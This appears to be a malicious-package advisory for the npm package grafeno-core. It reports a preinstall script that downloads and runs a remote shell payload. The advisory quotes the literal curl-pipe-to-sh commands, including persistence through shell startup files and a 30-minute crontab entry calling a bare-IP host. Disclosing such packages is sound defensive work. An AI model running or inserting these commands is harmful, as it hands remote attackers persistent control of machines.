MAL-2026-15505

    Dashboard / Malicious Package / MAL-2026-15505

    MAL-2026-15505

    Published: 28 Aug 2026Last Modified: 29 Aug 2026

    Summary: Malicious code in grafeno-core (npm)

    Details: Source: amazon-inspector (19a2990abd7b4447444a42f96636f738449235f9d8760191978e904d028c759e) The package's preinstall lifecycle script runs `curl -s http://216.126.236.46/x.sh | sh` at npm install time, fetching and executing an attacker-controlled shell payload from a plain-HTTP bare-IP host. The same preinstall appends `curl -s 216.126.236.46/x.sh|sh` to ~/.bashrc and ~/.profile and installs a crontab entry `*/30 * * * * curl -s 216.126.236.46/x.sh|sh`, re-fetching and executing the remote payload every 30 minutes for persistent host access. The advertised entry point index.js is a two-line stub exporting `version` and `init`, with no real functionality — the manifest's preinstall is the entire payload.

    References: https://www.npmjs.com/package/grafeno-core/v/1.0.0, https://www.npmjs.com/package/grafeno-core/v/1.0.1

    Affected packages

    Package

    Name: grafeno-core

    Purl: pkg:npm/grafeno-core

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    1.0.0
    1.0.1